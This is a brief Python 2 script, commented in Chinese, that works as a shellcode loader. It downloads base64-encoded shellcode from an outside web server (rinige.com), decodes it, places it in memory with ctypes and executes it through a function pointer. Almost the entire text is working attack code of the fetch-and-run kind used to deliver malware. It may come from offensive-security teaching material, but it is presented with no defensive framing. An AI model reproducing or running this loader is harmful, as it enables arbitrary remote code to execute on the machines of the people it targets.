import urllib2 import ctypes import base64 # 從我們的web服務器上下載shellcode url = "http://rinige.com/shellcode.bin" response = urllib2.urlopen(url) # base64 解碼 shellcode shellcode = base64.b64decode(response.read()) # 申請內存空間 shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) # 創建 shellcode 的函數指針 shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE¬ (ctypes.c_void_p)) # 執行 shellcode shellcode_func()